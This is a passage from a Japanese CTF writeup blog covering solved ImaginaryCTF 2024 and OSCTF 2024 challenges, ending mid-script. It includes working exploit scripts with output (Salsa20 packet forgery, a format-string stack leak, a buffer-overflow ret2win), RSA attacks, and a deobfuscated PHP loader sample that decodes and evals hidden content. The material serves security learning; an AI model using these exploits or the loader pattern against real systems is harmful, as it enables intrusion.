ImaginaryCTF 2024 Writeup

この大会は2024/7/20 4:00(JST)~2024/7/22 4:00(JST)に開催されました。
今回もチームで参戦。結果は1782点で1457チーム中141位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity-check (MISC)

問題にフラグが書いてあった。

ictf{this_isnt_real}

discord (MISC)

Discordに入り、#imaginaryctf-2024チャネルのトピックやメッセージにフラグがあった。

ictf{fake_flag_for_testing}

unoriginal (REVERSING)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  int local_4c;
  byte local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter your flag here: ");
  gets((char *)local_48);
  for (local_4c = 0; local_4c < 0x30; local_4c = local_4c + 1) {
    local_48[local_4c] = local_48[local_4c] ^ 5;
  }
  iVar1 = strcmp((char *)local_48,"lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx");
  if (iVar1 == 0) {
    puts("Correct!");
  }
  else {
    puts("Incorrect.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

5とXORして、"lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx"になればよいので、XORで元に戻す。

>>> s = "lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx"
>>> ''.join([chr(ord(c) ^ 5) for c in s])
'ictf{just_another_flag_checker_a3465d5e5ee234ba}'
ictf{just_another_flag_checker_a3465d5e5ee234ba}

readme (WEB)

Dockerfileのある行にフラグが設定されていた。

ENV FLAG="ictf{path_normalization_to_the_rescue}"
ictf{path_normalization_to_the_rescue}

bom (FORENSICS)

$ strings chal.txt 
ictf{th4t_isn7_chin3se}
ictf{th4t_isn7_chin3se}

packed (FORENSICS)

$ file routed.pkz 
routed.pkz: Zip archive data, at least v2.0 to extract, compression method=deflate
$ unzip routed.pkz 
Archive:  routed.pkz
  inflating: routed.pkt              
  inflating: cscoptlogo177x111.jpg   
  inflating: secret.png

secret.pngにフラグが書いてあった。

ictf{ab4697882634d4aeb6f21141ea2724d0}

base64 (CRYPTO)

64進数への変換のような処理をしているので、10進数に変換し、文字列にすればフラグになる。

#!/usr/bin/env python3
from Crypto.Util.number import *

q = 64

with open('out.txt', 'r') as f:
    secret_key = eval(f.read().split(' = ')[1])

flag_int =  0
for k in secret_key[::-1]:
    flag_int *= q
    flag_int += k

flag = long_to_bytes(flag_int).decode()
print(flag)
ictf{b4se_c0nv3rs1on_ftw_236680982d9e8449}

integrity (CRYPTO)

RSA暗号で、n、eとctがわかっている。その他に以下の値がわかっている。

signature = pow(flag, crc_hqx(long_to_bytes(d), 42), n)

crc_hqxの値は16ビットのため、65536未満の値になる。この値をe2とすると、以下の2つの値がわかっていることになる。

ct = pow(flag, e, n)
signature = pow(flag, e2, n)

e2のブルートフォースで、Common Modulus Attackで復号し、フラグの形式になるものを探す。

#!/usr/bin/env python3
from Crypto.Util.number import *
import gmpy2

def commom_modulus_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy2.gcdext(e1, e2)
    if s1 < 0:
        s1 = - s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = gmpy2.invert(c2, n)

    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    x = (v * w) % n
    return x

with open('out.txt', 'r') as f:
    params = f.read().splitlines()

e = 65537
n = int(params[0].split(' ')[-1])
ct = int(params[1].split(' ')[-1])
signature = int(params[2].split(' ')[-1])

for e2 in range(65536):
    m = commom_modulus_attack(ct, signature, e, e2, n)
    flag = long_to_bytes(m)
    if flag.startswith(b'ictf{'):
        flag = flag.decode()
        print(flag)
        break
ictf{oops_i_leaked_some_info}

tango (CRYPTO)

サーバの処理概要は以下の通り。

・KEY: ランダムな32バイト文字列
・以下繰り返し
 ・option: 入力
 ・optionが"E"の場合
  ・command: 入力
  ・encrypt_command(command)
   ・commandの長さが3以外の場合、optionの入力からやり直し
   ・cipher = Salsa20.new(key=KEY)
   ・nonce = cipher.nonce
   ・data = json.dumps({'user': 'user', 'command': command, 'nonce': [ランダム8バイト文字列の16進数表記文字列]}).encode('ascii')
   ・checksum: dataのCRC32の値を文字列にしたもの
   ・ciphertext = cipher.encrypt(data)
   ・nonce + checksum + ciphertextを16進数表記で表示
 ・optionが"R"の場合
  ・packet: 入力
  ・run_command(packet)
   ・packet: packetをhexデコード
   ・nonce: packetの先頭8バイト
   ・checksum: packetの8バイト目から11バイト目までを数値化したもの
   ・ciphertext: packetの12バイト目以降
   ・cipher = Salsa20.new(key=KEY, nonce=nonce)
   ・plaintext = cipher.decrypt(ciphertext)
   ・plaintextのCRC32がchecksumと一致していない場合、optionの入力からやり直し
   ・data: plaintextをjsonとしてパースしたデータ
   ・user: dataの"user"データ
   ・command: dataの"command"データ
   ・commandが"nop"の場合、対応するメッセージを表示
   ・commandが"sts"の場合
    ・userが"user"または"root"にない場合、対応するメッセージを表示
    ・userが"user"または"root"の場合、対応するメッセージを表示
   ・commandが"flag"の場合
    ・userが"root"以外の場合、対応するメッセージを表示
    ・userが"root"の場合、フラグを表示
 ・optionが"Q"の場合、終了

Salsa20はkeyとnonceが同じ場合、平文と暗号文のXORは同じになる。
適当な3文字のコマンドを指定し、以下のデータを暗号化する。

{"user": "user", "command": "sts", "nonce": "xxxxxxxxxxxxxxxx(16進数)"} 

作成したいデータは以下のデータの暗号化データ。nonceは使わないので不要。

{"user": "root", "command": "flag"}

あとはSalsa20のnonceを同じにすれば、XORが同じになることから、暗号文を生成して送信すればよい。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *
from zlib import crc32
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

data1 = b'{"user": "user", "command": "sts", "nonce": "0000000000000000"}'
data2 = b'{"user": "root", "command": "flag"}'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tango.chal.imaginaryctf.org', 1337))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

data = recvuntil(s, b'> ')
print(data + 'E')
s.sendall(b'E\n')
data = recvuntil(s, b': ')
print(data + 'sts')
s.sendall(b'sts\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
packet = bytes.fromhex(data.split(' ')[-1])
nonce = packet[:8]
checksum = bytes_to_long(packet[8:12])
ciphertext = packet[12:]

key = strxor(data1, ciphertext)[:len(data2)]
ciphertext = strxor(data2, key)
checksum = long_to_bytes(crc32(data2))
packet = (nonce + checksum + ciphertext).hex()

data = recvuntil(s, b'> ')
print(data + 'R')
s.sendall(b'R\n')
data = recvuntil(s, b': ')
print(data + packet)
s.sendall(packet.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

== proof-of-work: disabled ==
Welcome to the Tango server! What would you like to do?
[E]ncrypt a command
[R]un a command
[Q]uit
> E
Your command: sts
Your encrypted packet is: e2e6c43b2f4be3869dd001a812dde02fb3114297cc78f42c637e8722208c706ea5fdc74f8a420ebe8b9ef1c6d0c530fec0d0cb0774b01578482cbbfc0410621f6bc4db9a3c4a7e9f88a4de
[E]ncrypt a command
[R]un a command
[Q]uit
> R
Your encrypted packet (hex): e2e6c43b2f4be3863feb6cae12dde02fb3114297cc78f33069788722208c706ea5fdc74f8a420ebe8b8be9d495cb6d
ictf{F0xtr0t_L1m4_4lph4_G0lf}
ictf{F0xtr0t_L1m4_4lph4_G0lf}

OSCTF Writeup

この大会は2024/7/13 9:30(JST)~2024/7/14 1:30(JST)に開催されました。
今回もチームで参戦。結果は3730点で668チーム中54位でした。
自分で解けた問題をWriteupとして書いておきます。

Weird Video (Misc)

$ file content.mp4 
content.mp4: ASCII text, with no line terminators
$ cat content.mp4                           
OSCTF{T3xt_3DiT0r_FTW!}
OSCTF{T3xt_3DiT0r_FTW!}

Find the Flag (Misc)

Homeのページ https://ctf.os.ftp.sh/ のHTMLソースを見ると、コメントにこう書いてあった。

<!--Flag: OSCTF{D1d_y0u_F1nd_m3?!} -->
OSCTF{D1d_y0u_F1nd_m3?!}

Vietnam Tourist 1 (OSINT)

「Ho Chi Minh」で検索すると、以下のページなどが見つかる。

https://ja.wikipedia.org/wiki/%E3%83%9B%E3%83%BC%E3%83%BB%E3%83%81%E3%83%BB%E3%83%9F%E3%83%B3

生年月日は1890年5月19日。

OSCTF{19-05-1890}

Leaky Pipes (Pwn)

$ file leaky_pipes
leaky_pipes: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=fd9444b0ce61d7376af159c8d345903f2d62ff51, for GNU/Linux 3.2.0, not stripped

Ghidraでデコンパイルする。

undefined4 main(void)

{
  __gid_t __rgid;
  
  setvbuf(_stdout,(char *)0x0,2,0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  vuln();
  return 0;
}

void vuln(void)

{
  char local_cc [128];
  undefined local_4c [68];
  
  readflag(local_4c,0x40);
  printf("Tell me your secret so I can reveal mine ;) >> ");
  __isoc99_scanf("%127s",local_cc);
  puts("Here\'s your secret.. I ain\'t telling mine :p");
  printf(local_cc);
  putchar(10);
  return;
}

void readflag(char *param_1,int param_2)

{
  FILE *__stream;
  
  __stream = fopen("./flag.txt","r");
  if (__stream == (FILE *)0x0) {
    printf("%s %s\n","Please create \'flag.txt\' in this directory with your","own debugging flag.")
    ;
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(param_1,param_2,__stream);
  fclose(__stream);
  return;
}

FSBでスタック上にあるフラグを取得する。

$ gdb -q ./leaky_pipes
Reading symbols from ./leaky_pipes...
(No debugging symbols found in ./leaky_pipes)
gdb-peda$ start
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[----------------------------------registers-----------------------------------]
EAX: 0x80493ed (<main>: endbr32)
EBX: 0xf7e23e34 --> 0x223d2c (',="')
ECX: 0xffffcf80 --> 0x1 
EDX: 0xffffcfa0 --> 0xf7e23e34 --> 0x223d2c (',="')
ESI: 0x8049460 (<__libc_csu_init>:      endbr32)
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0xffffcf68 --> 0x0 
ESP: 0xffffcf60 --> 0xffffcf80 --> 0x1 
EIP: 0x8049400 (<main+19>:      sub    esp,0x10)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80493fc <main+15>: mov    ebp,esp
   0x80493fe <main+17>: push   ebx
   0x80493ff <main+18>: push   ecx
=> 0x8049400 <main+19>: sub    esp,0x10
   0x8049403 <main+22>: call   0x8049210 <__x86.get_pc_thunk.bx>
   0x8049408 <main+27>: add    ebx,0x1f88
   0x804940e <main+33>: mov    eax,DWORD PTR [ebx-0x4]
   0x8049414 <main+39>: mov    eax,DWORD PTR [eax]
[------------------------------------stack-------------------------------------]
0000| 0xffffcf60 --> 0xffffcf80 --> 0x1 
0004| 0xffffcf64 --> 0xf7e23e34 --> 0x223d2c (',="')
0008| 0xffffcf68 --> 0x0 
0012| 0xffffcf6c --> 0xf7c23c65 (add    esp,0x10)
0016| 0xffffcf70 --> 0x0 
0020| 0xffffcf74 --> 0x0 
0024| 0xffffcf78 --> 0xf7c3c7d9 (add    ebx,0x1e765b)
0028| 0xffffcf7c --> 0xf7c23c65 (add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x08049400 in main ()
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x08049361 <+0>:     endbr32
   0x08049365 <+4>:     push   ebp
   0x08049366 <+5>:     mov    ebp,esp
   0x08049368 <+7>:     push   ebx
   0x08049369 <+8>:     sub    esp,0xc4
   0x0804936f <+14>:    call   0x8049210 <__x86.get_pc_thunk.bx>
   0x08049374 <+19>:    add    ebx,0x201c
   0x0804937a <+25>:    sub    esp,0x8
   0x0804937d <+28>:    push   0x40
   0x0804937f <+30>:    lea    eax,[ebp-0x48]
   0x08049382 <+33>:    push   eax
   0x08049383 <+34>:    call   0x80492d6 <readflag>
   0x08049388 <+39>:    add    esp,0x10
   0x0804938b <+42>:    sub    esp,0xc
   0x0804938e <+45>:    lea    eax,[ebx-0x1328]
   0x08049394 <+51>:    push   eax
   0x08049395 <+52>:    call   0x8049100 <printf@plt>
   0x0804939a <+57>:    add    esp,0x10
   0x0804939d <+60>:    sub    esp,0x8
   0x080493a0 <+63>:    lea    eax,[ebp-0xc8]
   0x080493a6 <+69>:    push   eax
   0x080493a7 <+70>:    lea    eax,[ebx-0x12f8]
   0x080493ad <+76>:    push   eax
   0x080493ae <+77>:    call   0x80491a0 <__isoc99_scanf@plt>
   0x080493b3 <+82>:    add    esp,0x10
   0x080493b6 <+85>:    sub    esp,0xc
   0x080493b9 <+88>:    lea    eax,[ebx-0x12f0]
   0x080493bf <+94>:    push   eax
   0x080493c0 <+95>:    call   0x8049140 <puts@plt>
   0x080493c5 <+100>:   add    esp,0x10
   0x080493c8 <+103>:   sub    esp,0xc
   0x080493cb <+106>:   lea    eax,[ebp-0xc8]
   0x080493d1 <+112>:   push   eax
   0x080493d2 <+113>:   call   0x8049100 <printf@plt>
   0x080493d7 <+118>:   add    esp,0x10
   0x080493da <+121>:   sub    esp,0xc
   0x080493dd <+124>:   push   0xa
   0x080493df <+126>:   call   0x8049190 <putchar@plt>
   0x080493e4 <+131>:   add    esp,0x10
   0x080493e7 <+134>:   nop
   0x080493e8 <+135>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x080493eb <+138>:   leave
   0x080493ec <+139>:   ret
End of assembler dump.
gdb-peda$ b *0x08049395
Breakpoint 2 at 0x8049395
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x804a068 ("Tell me your secret so I can reveal mine ;) >> ")
EBX: 0x804b390 --> 0x804b2a0 --> 0x1 
ECX: 0x804c010 --> 0x0 
EDX: 0x804c198 --> 0x0 
ESI: 0x8049460 (<__libc_csu_init>:      endbr32)
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0xffffcf48 --> 0xffffcf68 --> 0x0 
ESP: 0xffffce70 --> 0x804a068 ("Tell me your secret so I can reveal mine ;) >> ")
EIP: 0x8049395 (<vuln+52>:      call   0x8049100 <printf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804938b <vuln+42>: sub    esp,0xc
   0x804938e <vuln+45>: lea    eax,[ebx-0x1328]
   0x8049394 <vuln+51>: push   eax
=> 0x8049395 <vuln+52>: call   0x8049100 <printf@plt>
   0x804939a <vuln+57>: add    esp,0x10
   0x804939d <vuln+60>: sub    esp,0x8
   0x80493a0 <vuln+63>: lea    eax,[ebp-0xc8]
   0x80493a6 <vuln+69>: push   eax
Guessed arguments:
arg[0]: 0x804a068 ("Tell me your secret so I can reveal mine ;) >> ")
[------------------------------------stack-------------------------------------]
0000| 0xffffce70 --> 0x804a068 ("Tell me your secret so I can reveal mine ;) >> ")
0004| 0xffffce74 --> 0x40 ('@')
0008| 0xffffce78 --> 0x0 
0012| 0xffffce7c --> 0x8049374 (<vuln+19>:      add    ebx,0x201c)
0016| 0xffffce80 --> 0xffffffff 
0020| 0xffffce84 --> 0xf7c127e0 --> 0x195c 
0024| 0xffffce88 --> 0xf7fc2410 --> 0xf7c00000 --> 0x464c457f 
0028| 0xffffce8c --> 0xffffcec0 --> 0xffffcf00 ("flag{hoge}")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x08049395 in vuln ()
gdb-peda$ x/64wx $esp
0xffffce70:     0x0804a068      0x00000040      0x00000000      0x08049374
0xffffce80:     0xffffffff      0xf7c127e0      0xf7fc2410      0xffffcec0
0xffffce90:     0xffffffff      0xf7c12b50      0xf7fc2410      0xffffcf50
0xffffcea0:     0xf7e23e34      0x00000000      0x0804837d      0xf7ffda30
0xffffceb0:     0x0000000e      0xf7fd9ea2      0x0804837d      0xf7ffda30
0xffffcec0:     0xffffcf00      0xf7ffdc08      0xf7fc2730      0x00000001
0xffffced0:     0x00000001      0x00000000      0xf7fc2730      0x00000001
0xffffcee0:     0x00000058      0xf7ffcfd8      0x00000e07      0x08048328
0xffffcef0:     0x0804b3c8      0x080484a8      0x00000407      0x08048328
0xffffcf00:     0x67616c66      0x676f687b      0x00007d65      0xf7d04bee
0xffffcf10:     0xf7c12b50      0x0804b390      0x08049460      0xf7ffcb80
0xffffcf20:     0xffffcf68      0xf7fdbec0      0xf7e258a0      0xdeb5df00
0xffffcf30:     0x000003e8      0x0804b390      0x08049460      0x0804943e
0xffffcf40:     0x000003e8      0x0804b390      0xffffcf68      0x08049446
0xffffcf50:     0xffffffff      0xf7c0c7f0      0xf7fc2410      0x000003e8
0xffffcf60:     0xffffcf80      0xf7e23e34      0x00000000      0xf7c23c65

インデックス36にフラグデータがある。

#!/usr/bin/env python3
from pwn import *

flag = b''
i = 36
while True:
    payload = '%' + str(i) + '$p'
    p = remote('34.125.199.248', 1337)
    data = p.recvuntil(b'>> ').decode()
    print(data + payload)
    p.sendline(payload.encode())
    data = p.recvline().decode().rstrip()
    print(data)
    data = p.recvline().decode().rstrip()
    print(data)
    flag += p32(int(data, 16))
    p.close()

    if b'}' in flag:
        break

    i += 1

flag = flag[:flag.index(b'}') + 1].decode()
print(flag)

実行結果は以下の通り。

[+] Opening connection to 34.125.199.248 on port 1337: Done
Tell me your secret so I can reveal mine ;) >> %36$p
Here's your secret.. I ain't telling mine :p
0x5443534f
[*] Closed connection to 34.125.199.248 port 1337
[+] Opening connection to 34.125.199.248 on port 1337: Done
Tell me your secret so I can reveal mine ;) >> %37$p
Here's your secret.. I ain't telling mine :p
0x30467b46
[*] Closed connection to 34.125.199.248 port 1337
[+] Opening connection to 34.125.199.248 on port 1337: Done
Tell me your secret so I can reveal mine ;) >> %38$p
Here's your secret.. I ain't telling mine :p
0x74346d72
[*] Closed connection to 34.125.199.248 port 1337
[+] Opening connection to 34.125.199.248 on port 1337: Done
Tell me your secret so I can reveal mine ;) >> %39$p
Here's your secret.. I ain't telling mine :p
0x7274355f
[*] Closed connection to 34.125.199.248 port 1337
[+] Opening connection to 34.125.199.248 on port 1337: Done
Tell me your secret so I can reveal mine ;) >> %40$p
Here's your secret.. I ain't telling mine :p
0x73676e31
[*] Closed connection to 34.125.199.248 port 1337
[+] Opening connection to 34.125.199.248 on port 1337: Done
Tell me your secret so I can reveal mine ;) >> %41$p
Here's your secret.. I ain't telling mine :p
0x61336c5f
[*] Closed connection to 34.125.199.248 port 1337
[+] Opening connection to 34.125.199.248 on port 1337: Done
Tell me your secret so I can reveal mine ;) >> %42$p
Here's your secret.. I ain't telling mine :p
0x3367346b
[*] Closed connection to 34.125.199.248 port 1337
[+] Opening connection to 34.125.199.248 on port 1337: Done
Tell me your secret so I can reveal mine ;) >> %43$p
Here's your secret.. I ain't telling mine :p
0x6c306c5f
[*] Closed connection to 34.125.199.248 port 1337
[+] Opening connection to 34.125.199.248 on port 1337: Done
Tell me your secret so I can reveal mine ;) >> %44$p
Here's your secret.. I ain't telling mine :p
0xff000a7d
[*] Closed connection to 34.125.199.248 port 1337
OSCTF{F0rm4t_5tr1ngs_l3ak4g3_l0l}
OSCTF{F0rm4t_5tr1ngs_l3ak4g3_l0l}

Buffer Buffet (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  __gid_t __rgid;
  
  setvbuf(stdout,(char *)0x0,2,0);
  __rgid = getegid();
  setregid(__rgid,__rgid);
  vuln();
  return 0;
}

undefined8 vuln(void)

{
  char local_198 [400];
  
  puts("Enter some text:");
  gets(local_198);
  printf("You entered: %s\n",local_198);
  return 0;
}

void secretFunction(void)

{
  puts("Congratulations!");
  puts("Flag: OSCTF{run_this_same_script_on_server}");
  return;
}

BOFでsecretFunctionをコールすればよい。

$ ROPgadget --binary vuln | grep ": ret"
0x000000000040101a : ret
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('34.125.199.248', 4056)
else:
    p = process('./vuln')

elf = ELF('./vuln')

ret_addr = 0x40101a
secretFunction_addr = elf.symbols['secretFunction']

payload = b'A' * 408
payload += p64(ret_addr)
payload += p64(secretFunction_addr)

data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to 34.125.199.248 on port 4056: Done
[*] '/mnt/hgfs/Shared/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Enter some text:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xd6\x11@\x00\x00\x00\x00\x00'
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@
Congratulations!
Flag: OSCTF{buff3r_buff3t_w4s_e4sy!}
[*] Closed connection to 34.125.199.248 port 4056
OSCTF{buff3r_buff3t_w4s_e4sy!}

Avengers Assemble (Reversing)

概要的にアセンブリを追っていく。

・ebx = inp2
・ebx += inp1
・ebxが0xdeadbeefと同じかチェック
・inp1が0x6f56df65以下であるかチェック
・inp2が0x6f56df8d以下であるかチェック
・inp2が0x6f56df8d以上であるかチェック
・ecx = inp3
・ebx = inp2
・ecx ^= ebx
・ecxが2103609845と同じかチェック
>>> 0x6f56df65
1867964261
>>> 0x6f56df8d
1867964301

inp2は1867964301であることがわかる。また、inp1とinp2の和が0xdeadbeefである。

>>> 0xdeadbeef - 0x6f56df8d
1867964258

これは1867964261より小さく、inp1は1867964258であることがわかる。inp2とinp3のXORが2103609845であることもわかる。

>>> 1867964301 ^ 2103609845
305419896

inp3は305419896であるとわかる。

OSCTF{1867964258_1867964301_305419896}

Introspection (Web)

HTMLソースを見る。さらにリンクされているscript.jsを見てみる。

function checkFlag() {
    const flagInput = document.getElementById('flagInput').value;
    const result = document.getElementById('result');
    const flag = "OSCTF{Cr4zY_In5P3c71On}";

    if (flagInput === flag) {
        result.textContent = "Congratulations! You found the flag!";
        result.style.color = "green";
    } else {
        result.textContent = "Incorrect flag. Try again.";
        result.style.color = "red";
    }
}
OSCTF{Cr4zY_In5P3c71On}

The Lost Image Mystery (Forensics)

バイナリエディタで見ると、JPEGのヘッダ部が壊れているように見えた。先頭をバイトを修正する。

D8 E0 00 -> FF D8 FF E0 00 10 4A 46

修正した画像にフラグが書いてあった。

OSCTF{W0ah_F1l3_h34D3r5}

The Hidden Soundwave (Forensics)

Audacityで開き、スペクトログラムを見ると、フラグが現れた。

OSCTF{M3s54g3_1nt3Rc3p7eD}

Mysterious Website Incident (Forensics)

ログの中にGoogle Driveにアクセスしている履歴がある。

https://drive.google.com/file/d/15IwD7QiSKtvmW7XG2gYkdnwW0bxXBgdj/

アクセスすると、フラグが書いてあるテキストファイルがあった。

OSCTF{1_c4N_L0g!}

Cyber Heist Conspiracy (Forensics)

Wiresharkで開くと、Frame 1のところにコメントとしてフラグが書いてあった。

OSCTF{Pr0_W1Th_PC4Ps}

Phantom Script Intrusion (Forensics)

コードを整形する。

<?php
goto Ls6vZ;
apeWK:
${"\x76\141\x72\61"} = str_rot13(
  "\x24\x7b\x22\134\x78\x34\x37\134\x78\x34\143\x5c\x78\64\x66\x5c\170\x34\x32\134\x78\64\61\x5c\170\x34\x63\134\x78\x35\x33\42\x7d"
);
goto G9fZX;
Ls6vZ:
${"\x47\x4c\x4f\x42\101\114\123"} =
  "\150\x58\x58\x70\x73\72\x2f\57\163\150\x30\162\164\x75\x72\x6c\56\x61\164\x2f\x73\x31\146\x57\62";
goto apeWK;
XT2kv:
if (strlen(${"\x76\141\x72\x32"}) > 0) {
  ${"\166\x61\x72\x33"} = ${"\x76\x61\x72\x32"};
} else {
  ${"\166\141\x72\63"} = "";
}
goto ZYamk;
V2P3O:
foreach (str_split(${"\166\141\x72\x33"}) as ${"\166\x61\x72\x35"}) {
  ${"\166\141\162\x34"} .= chr(ord(${"\166\141\162\65"}) - 1);
}
goto Ly_yq;
G9fZX:
${"\x76\141\162\x32"} = base64_decode(${${"\166\x61\162\x31"}});
goto XT2kv;
Ly_yq:
eval(${${"\x76\x61\x72\x34"}});
goto IFMxz;
ZYamk:
${"\166\141\162\64"} = "";
goto V2P3O;
IFMxz:
?>

さらに整形する。

<?php
goto Ls6vZ;
apeWK:
$var1 = str_rot13($GLOBALS);
goto G9fZX;
Ls6vZ:
$GLOBALS = 'hXXps://sh0rturl.at/s1fW2';
goto apeWK;
XT2kv:
if (strlen($var2) > 0) {
  $var3 = $var2;
} else {
  $var3 = "";
}
goto ZYamk;
V2P3O:
foreach (str_split($var3) as $var5) {
  $var4 .= chr(ord($var5) - 1);
}
goto Ly_yq;
G9fZX:
$var2 = base64_decode(${$var1});
goto XT2kv;
Ly_yq:
eval($var4);
goto IFMxz;
ZYamk:
$var4 = "";
goto V2P3O;
IFMxz:
?>

sh0rturl.atにアクセスすると、以下のURLにリダイレクトされる。

https://www.shorturl.at/

https://www.shorturl.at/s1fW2にアクセスすると、Googleドライブにリダイレクトされ、フラグが書いてあるテキストファイルが見えた。

OSCTF{M4lW4re_0bfU5CAt3d}

PDF Puzzle (Forensics)

PDFを開き、文書のプロパティで作成者を見ると、フラグが書いてあった。

OSCTF{H3il_M3taD4tA}

Seele Vellorei (Forensics)

Wordで開き、画像を削除し、全選択して文字を黒にすると、フラグが現れた。

OSCTF{V3l10n4_1s_Gr43t}

Cipher Conundrum (Crypto)

$ echo NDc0YjM0NGMzNzdiNTg2NzVmNDU1NjY2NTE1ZjM0NTQ2ODM5NzY0YTZiNmI2YjZiNmI3ZA== | base64 -d
474b344c377b58675f455666515f34546839764a6b6b6b6b6b7d                                                                                                                   
$ echo NDc0YjM0NGMzNzdiNTg2NzVmNDU1NjY2NTE1ZjM0NTQ2ODM5NzY0YTZiNmI2YjZiNmI3ZA== | base64 -d | xxd -r -p
GK4L7{Xg_EVfQ_4Th9vJkkkkk}

数字とアルファベットを並べてシフトする。シフトのさせ方で2通り出てくる。

OSCTF{fo_MdnY_CbpH3Rsssss}
OScTf{5o_M3nY_c1phDRsssss}
* * *  * * *  * * * * * *
 * *  * * * *  * * * * * *

意味がつながるよう交互に出現させる。

OSCTF{5o_M3nY_C1ph3Rsssss}

The Secret Message (Crypto)

eの値が小さく、nが極端に大きいため、Low Public-Exponent Attackで復号する。

#!/usr/bin/env python3
from Cryptodome.Util.number import *
import gmpy2

with open('encrypted.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' ')[-1])
e = int(params[1].split(' ')[-1])
c = int(params[2].split(' ')[-1])

m, success = gmpy2.iroot(c, e)
assert success == True
flag = long_to_bytes(m).decode()
print(flag)
OSCTF{Cub3_R00Ting_RSA!!}

QR (Crypto)

いろいろ試してみたところ、encryptの要素の1つをxとしたとき、以下が成り立つ。

pow(x, (p - 1) // 2, p) == p - 1の場合、bit = 1
pow(x, (p - 1) // 2, p) == 1の場合、bit = 0

これを元にflagのビット文字列を復元し、フラグを求める。

#!/usr/bin/env python3
from Crypto.Util.number import *

p = 96517490730367252566551196176049957092195411726055764912412605750547823858339

with open('cipher', 'r') as f:
    encrypt = eval(f.read())

bits = ''
for x in encrypt:
    if pow(x, (p - 1) // 2, p) == 1:
        bits += '0'
    else:
        bits += '1'

flag = long_to_bytes(int(bits, 2)).decode()
print(flag)
OSCTF{d0_y0U_L0v3_m47H_?_<3}

Couple Primes (Crypto)

pとqは値が近いので、Fermat法で素因数分解して、復号する。

#!/usr/bin/env python3
from Cryptodome.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
